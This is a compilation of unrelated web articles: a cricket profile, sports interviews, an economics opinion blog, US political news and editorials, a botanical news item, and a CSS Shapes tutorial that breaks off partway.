Stadium in Dhaka in October 2016. Photograph: Philip Brown/Popperfoto/Getty Images Just as people expect Ansari to be the proverbial boffin, it was assumed by some that he would leave cricket for a career in the City. “People were really supportive of my decision to retire. Mike Atherton wrote a really nice piece – as did Ali Martin in the Guardian. But there can be the assumption that because you’ve been to Cambridge you’d only give up cricket to earn a lot of money. My girlfriend and friends found that quite funny – because they know how far it is from the truth. Cricketers don’t get paid like footballers but I was earning more than my parents – and they have been academics for 40 years. So if money was a motivation I would have stayed longer in cricket.” Ansari smiles when he outlines his plans for the next year. “I’m going to work for a charity, starting in September, which supports young people from disadvantaged backgrounds. It’s called Just For Kids Law and they’re in north London. They work with young people involved in the criminal justice system. These are kids from disadvantaged backgrounds with educational difficulties, exclusions and immigration cases. I’m doing a year there as a trainee youth advocate while taking an evening law conversion course. It’s a great opportunity to develop new skills and, hopefully, help a few people.” Compassion for others, and curiosity about their lives, beats just as strongly inside Ansari as his intelligence. “There are many people in cricket who are cleverer than me,” he suggests. “I think what perhaps differentiated me from other players wasn’t necessarily my ‘intelligence’ but rather my wider interests. I love going to the cinema, I love listening to podcasts and hearing people talking about politics and broader social issues.” Did he sometimes feel unhappy as a cricketer? “It sometimes felt claustrophobic with a sense of me wanting to be doing other things. It was a restlessness rather than an unhappiness. I was tussling with it for two years and I worried about letting people down who had invested a lot in me. Alec Stewart had always been very good to me so I was concerned that, because of his own passionate commitment to cricket, he would struggle with me walking away at 25 – and saying that there is more to my life than wanting to be an international cricketer. But it was absolutely the opposite. Alec and everyone at Surrey understood – which really helped. Facebook Twitter Pinterest Ansari receives a Surrey youth cricket award from the former Surrey and England captain Adam Hollioake in 2003. Photograph: Adam Davy/Surrey County Cricket Club/Press Association Images “Since retiring it’s become obvious that the temporality of cricket is so distinctive when you’re a player. You spend five days a week from 9am to 7pm at the ground watching cricket, surrounded by cricketers. But since I’ve stopped playing I’ve started to follow the game more at home. I’ve followed England the last few weeks – and I’m engaging with it most days. I look at the scores online and I might watch 20 minutes of highlights. So that’s 40 minutes a day where I’ve followed cricket for pleasure. I didn’t do that as a player.” Have there been days when he regretted his decision? “No. I’ve been back to The Oval a few times, as I’m still involved with Surrey’s charitable arm, and I’ve been up to the dressing room during games. It’s felt very comfortable.” Ansari can now savour his three Test appearances. “Absolutely. The crowds weren’t that large in India [in Rajkot and Visakhapatnam] or Bangladesh – but they were intense and exuberant. The atmosphere made it special and I am more and more proud of those five wickets and the 49 runs I scored. My first Test wicket in Bangladesh was quite magical and it meant a lot when I was handed my cap. Mark Ramprakash [England’s batting coach] and I had played a little cricket together and he spoke incredibly kindly about me. That sense of entering an exclusive group is something to be proud of.” Eoin Morgan says dropping himself from series decider was a ‘tough call’ Read more Did his more expansive interests outside cricket help him cope with failure better – when he dropped a catch or bowled poorly? “I probably felt those failures as much as anyone. In the moment of failure, or even the day of the failure, it hurt. But I could rationalise the situation a little more easily. I could genuinely say to myself that there are things that are more important in my life.” Ansari flummoxed many whenever he was asked to pick his dream slip cordon. In 2015 he listed Malcolm X, Rosa Luxemburg, Chimamanda Adichie and Angela Davis. He laughs. “We get asked to do them every year and it’s funny how people pick up on that particular selection. Malcolm X is definitely someone I’m fascinated by but the last one I did included Rihanna and James Baldwin. It’s just fun.” There is a seriousness, however, to Ansari’s interest in race and politics. His Masters’ thesis explored the legacy of the Deacons for Defense – an obscure 1960s black civil rights group in Mississippi and Louisiana. “They were more conservative than the Black Panthers. But they were based in the deep south and reflected their geography. The Black Panthers had a more coherent leftist ideology but the expressive politics of the Deacons for Defense were very powerful. Considering America today, with Black Lives Matter, I looked back and tried to assess all the Deacons of Defense had done.” Facebook Twitter Pinterest ‘I started to tire of the complete immersion demanded by cricket,’ says Ansari, who will start working for a charity and studying at a law conversion course in September. Photograph: Sarah Lee/for the Guardian The world today is even more fractured and dangerous. With a white mother and having been born in Ascot and gone to Cambridge, Ansari stresses that: “I obviously had a privileged upbringing. But I think I look at the urgent questions we face today through my father’s eyes, to some extent, an Asian man and a Muslim. He arrived in the UK from Pakistan in the early 1960s, aged 14, and I always try to consider things from his perspective. “Society is in a concerning place whatever your background. There are troubling questions about inequality and the atomisation of people – the way in which societies are splitting up socially and economically. There are 3.1 million Muslims in this country and it’s often very difficult to have conversations about divisions in British society after devastating attacks on all communities. But it’s important we keep having those conversations.” Cricket is a wonderful diversion – and, as Ansari makes clear, it can also play a part in uniting communities. “It was a special moment this winter when we had four very different England players with a Muslim background in Moeen Ali, Adil Rashid, Haseeb Hameed and me on tour. They will continue to be great representatives for England.” Ansari will make his own lasting contribution in very different fields. At 25 it’s impossible to know yet where his best work will unfold – but it is easy to believe that, beyond cricket, so many more people will benefit from his intelligence and concern for the world around him. Zafar Ansari’s real life, after all, has only just begun. -Image caption The Titan Arum is endangered in its natural habitat of Sumatra's tropical forests The National Botanic Garden of Belgium is staying open late to give visitors a chance to see one of the world's largest and smelliest flowers. The Titan Arum rarely blooms, though the Brussels specimen is said to have done so three times since 2008. The flower rises 2.44m (8ft) off the ground and is expected to wane on Wednesday after only three days. The Titan Arum is also known as the "corpse flower" because of the strong stench of rotting meat it gives off. When the plant is ready to attract pollinators, the spike heats up and gives off the smell which, while revolting to humans, is very alluring to insects. It then develops a fruit which attracts birds before ending its life. It is endangered in its natural habitat of the tropical forests of Sumatra. A spokesman for the Jardin de Meise said it was "exceptional" that its specimen had flowered so frequently. -Last week, Minneapolis-based utility Xcel Energy proposed its fourth wind farm in the Upper Midwest since mid-July. If approved, the 150-megawatt Border Winds Project would be developed in North Dakota near the U.S.-Canadian border and produce enough electricity to save customers an estimated $45 million over its lifetime while reducing annual carbon dioxide emissions by about 320,000 tons. In July, Xcel Energy — the nation’s top utility for wind-based power — proposed to add 600 megawatts of wind energy through three wind farms in North Dakota and Minnesota. With the addition of the Border Winds Project, Xcel could save customers more than $220 million and add a total of 750 megawatts of wind power to its existing Midwest portfolio, which would bring its wind capacity total in the region to 2,550 megawatts — or enough power to serve over 750,000 homes. “These projects will lower our customers’ bills, offer protection from rising fuel costs, and provide significant environmental benefits,” Dave Sparby, CEO of Xcel subsidiary Northern States Power Co., said in a statement last month. “Wind prices are extremely competitive right now, offering lower costs than other possible resources, like natural gas plants.” Xcel has submitted the four projects to the Minnesota Public Utilities Commission and the North Dakota Public Service Commission for consideration and expects to hear the regulators’ decisions by late fall. If approved, construction will begin immediately in order for the projects to qualify for the federal renewable energy Production Tax Credit (PTC). Advertisement The PTC, which was set to expire at the end of 2012, was extended in January to projects that begin construction by the end of 2013. The tax credit provides 2.2 cents per kilowatt-hour for electricity produced over the first ten years of operation. The Upper Midwest is not the only region that’s benefiting from Xcel’s aggressive push to add more wind power before the PTC expires. In Colorado, Xcel has asked regulators to approve a 200-megawatt wind farm that would save customers more than $142 million in fuel costs over the 20-year contract term. Xcel also proposed three projects totaling nearly 700 megawatts that would be built in New Mexico, Oklahoma and Texas, citing a lower price per megawatt-hour for wind energy generation than their own natural gas-fueled generation. These projects are expected to save customers $590.4 million in fuel costs over 20 years. Altogether, Xcel is awaiting approval on about 1,650 megawatts of wind power that could come online before the end of the 2016, which would increase its overall wind capacity by 30 percent. “We are committed to meeting our customers’ needs in clean and affordable ways,” said Ben Fowke, Xcel Energy’s chairman and CEO. “Wind power is simply the cheapest resource available right now, and we are taking the opportunity afforded by the PTC extension to further shape our systems for the future.” -It’s happening. In just a few hours, Conor McGregor will be stepping in a boxing ring to take on Floyd Mayweather for the belt of the moneyweight division. This monumental moment in sports, that has captured the attention and drawn the interest of millions, is finally here and it will go down on Saturday night in Las Vegas, Nev. To breakdown all the chapters and layers of this cultural phenomenon, MMA Fighting caught up with arguably the best welterweight boxer on the planet and one of the most analytical minds of the sweet science. Current undefeated unified 147-pound champion Keith “One Time” Thurman weighed in on all of the ins and outs and the build up of Mayweather vs. McGregor. The impact of Mayweather vs. McGregor on combat sports Danny Segura: First thing, first. Are you surprised these two are actually fighting? Keith Thurman: No, I’m not surprised that it got made. I mean it’s the year 2017 and hey, money talks. This is not your typical boxing event, and it’s almost not your typical sporting event although it’s being placed as a typical boxing event in a typical boxing ring. What you’re witnessing is a crossover extravaganza. How much of a build up has there been in the past seven years or whatever, just throwing a number out there, of what is better, boxing or MMA? You’ve had some guys like Kimbo slice, rest in peace, that crossed over got defeated, won some matches, but nothing major came from it. But what you have here, and why this really manifested, and why Floyd even allowed it to happen is because his name is Floyd “Money” Mayweather, so whatever makes money makes sense to him. Segura: Do you think this is the biggest fight in combat sports history? Thurman: I don’t know, man. I mean, Muhammad Ali back in the day in Africa that was big. It was also broadcasted to everyone for free. But of our generation, my lifetime? Shoot, is this bigger than any fight Mike Tyson ever had? I would say so. I’m my lifetime, from 1988 to 2017, I would say this is the biggest event. Segura: Do you think we’ll now see more MMA fighters crossover to boxing? Thurman: It’s interesting. I do see the possibility for a few more crossovers in the future, but I don’t think they will ever be of this kind of stature. I don’t think it will ever be like this because, I mean, it’s Floyd Mayweather. He’s been at the top of the game for over a decade, you know, he’s dominated since he was an Olympian. So people really understand Mayweather and have watched his whole career manifest. Mayweather is a truly rare athlete, he’s a rare specimen, and to have him go up against the most rumbustious, most entertaining, biggest loudmouth Irishman on the planet, you know. So I don’t think no matter what kind of crossover they do, I don’t think it could ever compare to this crossover. So I think it’s cool that this is the first time and the best you’ll ever get to witness. But then again, if they do some heavyweight crossover, that could be interesting. People love heavyweights and whenever those guys fight is just lightning and thunder. So that could be interesting, but just as overhype and everything, I don’t think anything can get bigger than this. NAC approves the switch to eight-ounce gloves Segura: Are you surprised the fight is happening in 8-ounce gloves? Another handy 12 rounds today. We are prepared to destroy Floyd. Pick whatever size gloves you want as well little man. I fight with 4oz. I don't give a fuck about the size of the glove. I am coming sprinting at you with bricks. Know that. Brittle hands. A post shared by Conor McGregor Official (@thenotoriousmma) on Aug 2, 2017 at 4:27am PDT Thurman: I told everybody that they would fight in whatever Floyd Mayweather wanted to fight in. Segura: Have you ever seen a case where the commission overrides the rules regarding glove size? Thurman: The funny thing is that I competed in Florida early in my career, and when I competed at a catch weight of 152 pounds, the commission gave my opponent the option of eight or 10-ounce gloves. So I will say that there are times where it becomes negotiable to say the least. I knew with Floyd and McGregor that a lot of people were intrigued whether it was going to be with eight-ounce or 10-ounce gloves. Segura: Well, so is there a difference between 8 and 10-ounce gloves? Thurman: It does make a difference. If it didn’t make a difference, heavyweights would wear 8-ounce gloves. The more ounces McGregor has to wear the more it will negate from his power. The more ounces Floyd has to wear, the more it can assist in his defense. Real fighters know that the smaller the glove, the easier it is to slip one in. You might have your guard up, but the punch might still come through and you might think you’re covering everything, but there is still that other inch unprotected. McGregor’s beef with Paulie Malignaggi Segura: So, the drama with Paulie Malignaggi. What did you make of that situation? A post shared by Paul Malignaggi (@paulmalignaggi) on Aug 3, 2017 at 8:07pm PDT Thurman: You know how like sometimes people have beef but then you go and fight face to face and then you kind of squash your beef. Well, this is one of those situations where they had beef, they met each other, and now I think they got even more beef than they did before. That’s their own story. I think it’s kinda funny, and I wonder how personal it’s going to get for Paulie when he ends up commentating on the fight. DS: What do you think actually happened in the sparring session? Thurman: There are a lot of rumors about what really happened in that sparring session with Paulie. Paulie ultimately said that McGregor has some growth in his boxing technique but there isn’t really enough time to allow him to grow enough for the Mayweather fight. That sounds like a true statement regardless of whether the guy got beat up or not. Paulie Malignaggi was a retired fighter that went into your training camp out of shape. And whenever you call somebody into your training camp, you have to understand that you will be in better shape than they are. And another thing is that I’ve never sparred a single sparring partner for 12 rounds. So you don’t make the guy that just got off a plane and who’s not ripped and shredded like you are, you don’t make that dude spar 12 rounds with you. For example, back in the day when me and Shaun Porter were sparring partners before we were battling for these titles — and it looks like he might end up being my next opponent as a rematch — I was preparing for Marcos Maidana, that’s why we were sparring because of Porter’s aggressive style. That was before Maidana pulled out. Me and Porter never even sparred 10 rounds, we would only spar a maximum of five rounds at a single time. We would always spar four rounds and then my other sparring partner would come in next. So being able to get the best of a sparring partner in a training session, I mean, and you’re talking about a retired fighter. When I look at the photos of Paul Malignaggi in that training camp, he was overweight, but still went 12 rounds with the guy. So it is what it is, he’s not fighting Paulie, he’s fighting Mayweather. Segura: Did McGregor’s side break any code or etiquette by releasing the photos and sparring footage? Thurman: A little bit, yeah. But at the end of the day, this motherf*cker is trying to create hype to make this fight worth watching. So you see Paulie Malignaggi on the ground and you’re like, ‘oh he’s messing up this world class fighter; I can’t wait and see what happens when he fights Floyd.’ So with that going on, I’m not really going to, I mean, it’s not my thing. But man, if you don’t want them to be releasing shi*, don’t give them anything good to release. The breakdown Segura: Is there an actual chance here for McGregor to pull off the upset? Thurman: Well, it’s a fight, and when you’re in a fight, there is always a chance. Especially because, you don’t have to call McGregor a boxer, but you have to admit he’s used to hand-to-hand combat and his preference is hand-to-hand combat, not submissions or anything like that. We can say that McGregor has hit enough people in the face that it’s a skillset. For me, he became a boxer when he defeated Nate Diaz. The reason I say that is because whenever he struck Nate Diaz with a straight-left hand that knocked him down to the ground, he (McGregor) didn’t take advantage of the MMA rules, which allow him to keep attacking Nate Diaz while he’s still on the ground. He simply stood up and kept telling Diaz, ‘stand back up, stand back up.’ I’m wondering why the referee ain’t just giving them a 10 count, and if he doesn’t stand up in 10 then the fight is over, so that looked like a boxing match to me. So what I’m intrigued in seeing is, what happens when McGregor lands that straight left? Can he land the straight left? Muhammed Ali said, ‘yeah, Frazier is strong. But he ain’t going to hit me, so it doesn’t matter if he can’t hit me.’ Segura: Do you think there could be a case where Mayweather is the one that scores a stoppage? Thurman: Mayweather hasn’t knocked anybody out since what, Ricky Hatton? Victor Ortiz was a freebie, hands down. So I’ve made this statement a lot the many years I was rising through the ranks and I wanted to have an opportunity to put my skills against Floyd Mayweather, the best boxer of our generation. I always said, ‘you don’t have to be scared of Floyd knocking you out.’ I mean, you can look forward to a 12-round fight with Floyd. I mean, I’d put my grandma in the ring and not think she’ll get knocked out, so that’s not the question. The question is, can you beat the man? Segura: So this could be a long night for McGregor. Do you expect his conditioning to be ready for a 12-round bout? Thurman: A lot of boxing guys believe that McGregor doesn’t have a 12 rounds in him. If Floyd targets the body in the early rounds, some believe McGregor will gas out in the later rounds because he gassed out in Nate Diaz fight. In my opinion, he gassed out in both fights, but he handled it better in the second fight, although he was still gassing out towards the end of that fight. So I hope his team really upped their strength and conditioning, especially the conditioning part, in preparation for this fight. Prediction Segura: So who wins this fight and how do you think it goes down? Thurman: I never really care about fights that I’m not involved in so the outcome can be anything for my concern. I’d like to stay open minded, but I think a defensive 12-round victory for Floyd. I don’t see McGregor winning a 12-round victory. I don’t see McGregor walking away with seven out of 12 rounds. As long as you get seven of the 12 rounds in the books on the judges scorecards, you have a unanimous decision. So I don’t see McGregor achieving that. Floyd Mayweather boxing’s style is one that makes sure no fighter achieves that because that’s his goal and he knows you’re not allowed to win seven rounds. You can win five rounds and look good, but he doesn’t allow you to win six or win seven. So yeah, McGregor needs a knockout to really shock the world. -It's Time to Slay the Revenant Keynes Share This: Naturally, many prominent economists are viewing this development with horror. "People are saving! The economy will collapse! We've got to get them spending! Paradox of thrift!" The I think I have finally learned where such silly notions arise. I recently read an article by an Austrian economist (alas, I've forgotten who, so I can't give proper credit) that explained it thus: in the Keynesian view, an economy is driven by consumption, whereas in the Austrian view, an economy is driven by production (and savings). So to a Keynesian, an economy is healthy as long as people spend, spend, spend...even if they have to borrow, borrow, borrow to do it. And if they stop spending, they must be made to spend more. And if they refuse, then the government has to do the borrowing and spending for them. (Somehow freedom of conscience never seems to be honored in the economic sphere. Can't I be a conscientious objector to Keynesian stimulus?) This, despite the fact that to the best of my knowledge, the theories of Keynes have never been scientifically proven or even substantiated. No Keynesian intervention has ever been shown to work. So why are they always the first resort? Because whether or not they work, Keynesian prescriptions are convenient for those in power. They give the state a plausible cover, that the citizens will accept, to enlarge its power. So, it's time to slay the revenant Keynes. Like Karl Marx, his half-baked theories reach from beyond the grave to strangle societies and ruin people's lives. It's Ptolemaic crackpottery which is long overdue for refutation. It enjoys what I call "academic celebrity" -- not "famous because it is famous", but rather "accepted because it's accepted." Alas, I don't think Keynesianism will be discredited unless the economy suffers a total collapse. And from the rubble, I'm sure we'll hear the whine of the last Keynesian: "It's because we didn't stimulate enough!" Back to category overview Back to news overview Older News Newer News Printer Friendly Brad - Thursday 05 March 2009 - 13:56:26 - Permalink I saw a few days ago that the U.S. savings rate has increased to 5%. To my mind, this is Good News: people are starting to get responsible about their finances, starting to pay down their debt, and starting to put some cash away for hard times. I figure this is exactly what's needed to get out of the credit swamp and back to a sustainable economy.Naturally, many prominent economists are viewing this development with horror. "People are saving! The economy will collapse! We've got to get them spending! Paradox of thrift!"The "paradox of thrift" holds that what is good for every individual (thrift and saving) is bad for the economy at large....rather as if the economy were one gigantic Prisoner's Dilemma . Mainstream economists love citing this, perhaps because it sprang from the mind of the exalted J. M. Keynes.I think I have finally learned where such silly notions arise. I recently read an article by an Austrian economist (alas, I've forgotten who, so I can't give proper credit) that explained it thus: in the Keynesian view, an economy is driven by consumption, whereas in the Austrian view, an economy is driven by production (and savings).So to a Keynesian, an economy is healthy as long as people spend, spend, spend...even if they have to borrow, borrow, borrow to do it. And if they stop spending, they must be made to spend more. And if they refuse, then the government has to do the borrowing and spending for them. (Somehow freedom of conscience never seems to be honored in the economic sphere. Can't I be a conscientious objector to Keynesian stimulus?)This, despite the fact that to the best of my knowledge, the theories of Keynes have never been scientifically proven or even substantiated. No Keynesian intervention has ever been shown to work. So why are they always the first resort? Because whether or not they work, Keynesian prescriptions are convenient for those in power. They give the state a plausible cover, that the citizens will accept, to enlarge its power.So, it's time to slay the revenant Keynes. Like Karl Marx, his half-baked theories reach from beyond the grave to strangle societies and ruin people's lives. It's Ptolemaic crackpottery which is long overdue for refutation. It enjoys what I call "academic celebrity" -- not "famous because it is famous", but rather "accepted because it's accepted."Alas, I don't think Keynesianism will be discredited unless the economy suffers a total collapse. And from the rubble, I'm sure we'll hear the whine of the last Keynesian: "It's because we didn't stimulate enough!" -David Villa isn’t going anywhere. There was speculation that Villa would retire after his three-year contract expired at the end of this season, but New York City FC silenced those rumors Wednesday by signing the reigning MLS MVP to a one-year extension that will keep him in The Bronx. “I am so happy to play [at NYCFC],” Villa told The Post. “I am fit, the club spoke about joining for one more year and it was one of the easiest things I’ve done in my life.” Villa’s contract extension was formally announced at P.S. 49 in The Bronx, where the former World Cup winner from Spain fielded tough questions from youngsters, like what’s his favorite pregame meal (pasta or rice) to whether he enjoys playing soccer (obviously). After all, the 35-year-old could have easily called it a career after this season, but he’s not ready to hang up his boots just yet. “I think I’ve improved [at NYCFC],” said Villa, who’s missed just seven matches since NYCFC’s inaugural season in 2015. “With experience, games, with minutes on the pitch and outside the pitch, I keep learning. I’m a better player [now].” Villa signed a three-year Designated Player contract in 2014 and, since then, he’s been everything NYCFC could have asked for. Arguably one of the best Designated Player signings in MLS history, Villa never took his foot off the gas, especially last season, when he scored 23 goals to win MLS MVP honors and led NYCFC to their first ever playoff appearance. “When I look back to those first days in 2014, it’s really amazing to see how far we’ve come in such a short space of time,” said Villa, who is NYCFC’s all-time leading scorer with 46 goals. “And to know that there is so much potential for us to continue growing, on and off the field.” The World Cup winner has shown no signs of tired legs this season, leading NYCFC (13 points) with five goals in seven appearances. For Villa, coming to NYCFC hasn’t been a mistake. “There were no sacrifices,” Villa said. “I always dreamed of being a soccer player. I can say I sacrificed nothing playing soccer.” -Advertisement CBO: GOP health care bill would reduce number of people with comprehensive health insurance 'by millions' Share Shares Copy Link Copy The Congressional Budget Office released its preliminary analysis of the Graham-Cassidy bill on Monday saying that millions of people with comprehensive health insurance would lose coverage under the new bill. “That number could vary widely depending on how states implemented the legislation, although the direction of the effect is clear,” said the analysis. The non-partisan scoring agency estimates that between 2017 and 2026, "the legislation would reduce the on-budget deficit by at least $133 billion and result in millions fewer people with comprehensive health insurance that covers high-cost medical events."The report is not as detailed as previous CBO scores, however.It does not give a more specific number of how many Americans would lose health care coverage under the health care law sponsored by Sens. Lindsey Graham of South Carolina and Bill Cassidy of Louisiana nor does it include information on how Graham-Cassidy would affect the cost of premiums throughout the country.According to CBO, the reduction in the number of insured people relative to the number under current law would result from three main causes. 1. Enrollment in Medicaid would be substantially lower because of large reductions in federal funding for that program.2. Enrollment in nongroup coverage would be lower because of reductions in subsidies for it.3. Enrollment in all types of health insurance would be lower because penalties for not having insurance would be repealed.Senator Susan Collins from Maine, who reportedly said she was waiting for the report to come out before making her decision, said shortly after the analysis was posted that she was a no.Collins tweeted a full response as well saying, "This is simply not the way that we should be approaching an important and complex issue that must be handled thoughtfully and fairly for all Americans."The agency announced weeks ago that it would not have adequate time to release coverage numbers and instead would only be able to release a "preliminary" report."CBO will not be able to provide point estimates of the effects on the deficit, health insurance coverage, or premiums for at least several weeks," the agency said in a statement about the bill.The CBO score's main purpose is to ensure that the legislation meets its saving targets required under reconciliation, the process that allows Senate Republicans to pass the health care bill with 51 votes.The non-partisan agency's score is also of the first version of the bill. Changes were made to the legislation over the weekend and released Sunday night. Those tweaks include a recalculation of how much money rural states would receive under Graham Cassidy as well as a further roll back on protections for people with pre-existing conditions. The CBO's latest score does not include the changes.CNN has contributed to this report -A new survey on Jewish Americans released just now by the Pew Research Center shows what we’ve come to expect from these reports: They are becoming less religious overall, with Millennial Jews even less religious than their older counterparts: A Pew Research reanalysis of the 2000-2001 National Jewish Population Survey suggests that at that time, 93% of Jews in that study were Jews by religion and 7% were Jews of no religion (after some adjustments to make the NJPS and Pew Research categories as similar as possible). In the new Pew Research survey, 78% of Jews are Jews by religion, and fully 22% are Jews of no religion (including 6% who are atheist, 4% who are agnostic and 12% whose religion is “nothing in particular”). Though the two studies employed different question wording and methodologies and are thus not directly comparable, the magnitude of these differences suggests that Jews of no religion have grown as a share of the Jewish population and the overall U.S. public. The new Pew Research survey finds that approximately 0.5% of U.S. adults — about 1.2 million people — are Jews of no religion. Laurie Goodstein of the New York Times highlights this change in her report and brings up another relevant point: Non-religious Jews aren’t passing down their religious traditions to their children, meaning the trend is likely to continue: … the percentage of “Jews of no religion” has grown with each successive generation, peaking with the millennials (those born after 1980), of whom 32 percent say they have no religion. “It’s very stark,” Alan Cooperman, deputy director of the Pew religion project, said in an interview. “Older Jews are Jews by religion. Younger Jews are Jews of no religion.” … But Jews without religion tend not to raise their children Jewish, so this secular trend has serious consequences for what Jewish leaders call “Jewish continuity.” Of the “Jews of no religion” who have children at home, two-thirds are not raising their children Jewish in any way. This is in contrast to the “Jews with religion,” of whom 93 percent said they are raising their children to have a Jewish identity. What we’re seeing more than anything else is a rise in secular Judaism as opposed to religious Judaism. It’s the non-religious traditions that are being passed down to the next generation, if that. The report also shows a rise in Jews who marry non-Jews, another sign that religious faith is taking a backseat to other qualities. The strangest finding, though, may be just how many Jewish people believe that you can be a Jew while believing that Jesus was the Messiah… I would jokingly say 34% of Jews didn’t go to Hebrew school… but I don’t think that’s a joke. -'Pray at the Pump' activist: 'We shall overcome' high gas prices Nick Langewis Published: Sunday August 17, 2008 Print This Email This Divine intervention, not the market, is bringing gas prices down, one campaigner says. 59-year-old Rocky Twyman of Rockville, Maryland has garnered worldwide attention after holding prayer meetings at gas stations across the United States since April as part of his "Pray at the Pump" drive. Recently, to celebrate a drop in the average price of gasoline to $3.80 a gallon, Twyman led a group meeting at their inaugural Washington service station, singing a version of "We Shall Overcome" whose words were changed to "We'll have to lower gas prices." "We believe not just in prayer," Twyman said, "because we believe that faith without works is dead. So we've encouraged people to car-pool more and organise their days more, because it's a combination of faith with these other factors." "God is the only one we can turn to at this point," Twyman said during an April stop in San Francisco. "Take it to the real CEO," Alabama DJ Todd Baker said during a recent prayer session at a Huntsville Texaco station on the heels of ExxonMobil's posting of a second-quarter profit of about $11.7 billion. Twyman also recently prayed for Tonight Show host Jay Leno, who mentioned him in a July 29 monologue: "Hey, have you heard about this group called Prayer at the Pump? They're a prayer group that sprang up, and they go to gas stations and they hold hands and they pray for lower gas prices. Otherwise known as the Bush energy plan." Twyman's involvement in the community also includes the recruitment of about 14,000 minority individuals into the national bone marrow registry since 1992, for which he received honors from Montgomery County, Maryland in April. He also led a petition drive in 2005 to nominate Oprah Winfrey for the Nobel Peace Prize. "We're just really impressed," Twyman told People Magazine, "with what she has done to raise the level of consciousness about hunger, poverty, homeless, women's issues and, of course, the issue of AIDS." -That's bad policy for Americans as well as Cubans, and it's based on a disingenuous argument. The putative reason for the change is that Cuba still violates the human rights of its own people, including jailing dissidents and independent journalists. But hasn't the Trump administration been moving the U.S. away from its focus on human rights around the world? Pressing foreign governments to end oppression has been a mainstay of U.S. foreign policy for decades under Republican and Democratic administrations — but Secretary of State Rex Tillerson told State Department employees last month that the U.S. would no longer put such a premium on human rights issues because such considerations could interfere with our national interests. Trump has vowed to put "America first" and has been loathe to criticize foreign leaders publicly for their violations of human rights. -INDIA will send a strong squad to Zimbabwe for its five-match One-Day International (ODI) series against the hosts to give the series the zest coach Andrew Waller’s men have been yearning for. Staff Writer There were fears India would dampen the series by sending a second-string side as it did in 2010, but the tourists have since forwarded a squad list that, barring any injuries, should tour Zimbabwe this month. All the big names that toured England for the International Cricket Council Champions Trophy and are currently engaged in a triangular series in the West Indies with Sri Lanka, are in the squad expected to arrive in Zimbabwe on July 21. Skipper Mahendra Singh Dhoni captains a 15-men squad that has been submitted to Zimbabwe Cricket. Champions Trophy player of the tournament Shikhar Dhawan, who had a dream tournament by scoring 363 runs, will be travelling to Zimbabwe. The spin duo of Ravindra Jadeja and Ashwin Ravichandran, one of India’s success stories, is also part of the squad. Zimbabwe has been in camp for a month preparing for this tour, which comes ahead of Pakistan’s visit, and also includes a two Test series. Zimbabwe and India play the first three ODIs in Harare on July 24, 26, and 28 before travelling to Bulawayo for the final two matches on July 31 and August 3. India Squad for Zimbabwe: Mahendra Singh Dhoni; Shikhar Dhawan; Dinesh Karthik; Murali Vijay; Virat Kohli; Amit Mishra; Suresh Raina; Rohit Sharma; Ashwin Ravichandran; Ravindrasinh Jadeja; Bhuvaneshwar Kumar; Ishant Sharma; Umeshkumar Yadav; Vinay Ranganatha and Irfankhan Pathan -Republican lawmakers are threatening to put the nation’s financial health at risk over a ritual vote to raise the debt ceiling, but they don’t actually object to throwing away money. Case in point: they seem to relish spending taxpayer dollars on the plainly unconstitutional Defense of Marriage Act. The 1996 law prohibits federal recognition of marriages between people of the same sex. It was signed – to his shame – by President Bill Clinton, and for years the government defended DOMA in court against lawsuits. But in 2011 President Obama instructed the Justice Department to relent – after Justice concluded that the law was not constitutional. Cue the budget-conscious Republicans on Capitol Hill, who authorized the spending of up to $2.75 million in public funds to hire lawyers to defend DOMA on their behalf. Apparently, that was not a big enough check, so on Jan. 4, the House Republicans raised the fee ceiling to $3 million. On Tuesday, House Minority Leader Nancy Pelosi and Minority Whip Steny Hoyer sent a letter to Speaker John Boehner protesting the spending, which the G.O.P. leadership somehow forgot to mention at any of the dozens of press conferences they’ve held to preach the gospel of fiscal responsibility. “This clandestine commitment of taxpayer funds is highly irregular and objectionable, and it must end now,” they wrote, pointing out that defending DOMA is futile since it violates Constitutional guarantees of equal protection. The Defense of Marriage Act is perhaps the last example of officially sanctioned discrimination in the United States. Until Congress repeals it or the Supreme Court strikes it down, a select group of Americans will be denied the benefits and recognition provided to all other married Americans, and state laws that allow gay unions will have only limited effect. -The layout principles–columns and rows, angles and lines–that we use to build websites today are largely influenced by their print heritage. And although grid implementation on the web is getting better and more polished, web layout in general is still awkward compared to print media, especially when it comes to content flow. Magazines and newspapers have always enjoyed elegant ways for arranging content layout, such as wrapping text around, or inside, non-rectangular shapes. Multipurpose Magazine by GreenSocks Let’s explore how the CSS Shapes Module will allow us this same freedom on the web. Quick Intro to CSS Shapes CSS Shapes enable web designers to create more abstract, geometric layouts, beyond simple rectangles and squares. The specification provides us with new CSS properties which include shape-outside and shape-margin . Browser support is reasonable, though these properties are currently only available in Chrome, Opera, and Safari, with the -webkit- prefix, hence -webkit-shape-outside . The shape-outside property will cause inline content to wrap around (outside) following the element curve, rather than the box model. Initially there was also shape-inside to wrap the content inside an element; text within a circular element would be moulded into a circle shape as well. However, the implementation has been postponed for CSS Shapes Level 2. From top to bottom: shape-outside and shape-inside in action. The shape-margin property sets the margin around whichever shape is using the shape-outside . Let’s take a look at some examples. Creating a Shape The easiest way to find out how CSS Shapes works is probably through creating a circle. So, here’s a div (our circle), with several paragraphs alongside. Here’s some basic styling, including the width and the height of our circle, the border-radius to shape the element, and a float so the paragraph wraps around the element. As the we would except, the paragraphs is now wrapped around the element. However, since the border-radius property does not define the actual element shape, the paragraph wrap does not form the circle curve. If we inspect the element through our browser DevTools, we will find the element is, in fact, still a box. So, even though our div has the appearance of a circle, the border-radius has done nothing to the actual shape of the element. Notice the rectangular highlight around the element. In order for our paragraph to adhere to the circular shape, we need to change the actual element shape through the shape-outside property; in this case, we’ll add one with the circle() function passed as the value. Our paragraphs now wrap neatly around the circle’s circumference. Additionally, if we now inspect the element through DevTools, we’ll see that the element is properly rendered into a circle. Notice the darker highlight. With some margins, look how it might enhance a simple layout: Customizing the Circle The circle() function takes a couple of values for defining the radius and the center coordinate respectively: circle(r at x y) . By default, the radius value is derived from the element size; if the element is 300px wide, for instance, the radius will be 150px (the radius being half of the circle’s diameter). Similarly, the x and y coordinates are measured relative to the element’s size, and they are by default set at 50% 50% ; right at the centre of the element. The circle is positioned at the center of the element. These two values will come in useful when you want to resize the shape, while keeping the actual element size, or move the shape while retaining the element position. In the following example, we’ll reduce the circle radius down to 60px and set the center coordinate to 30% 70% , which should move the circle to the bottom left of the element box. The paragraphs now pass through the element box following the circle size. View the demo. It is worth noting that when modifying the circle both the center coordinate and the radius have to be explicitly defined; adding only one of the them is invalid. Shape Box Model CSS Shapes inherit the same box model principle as the element, but applied outside the scope 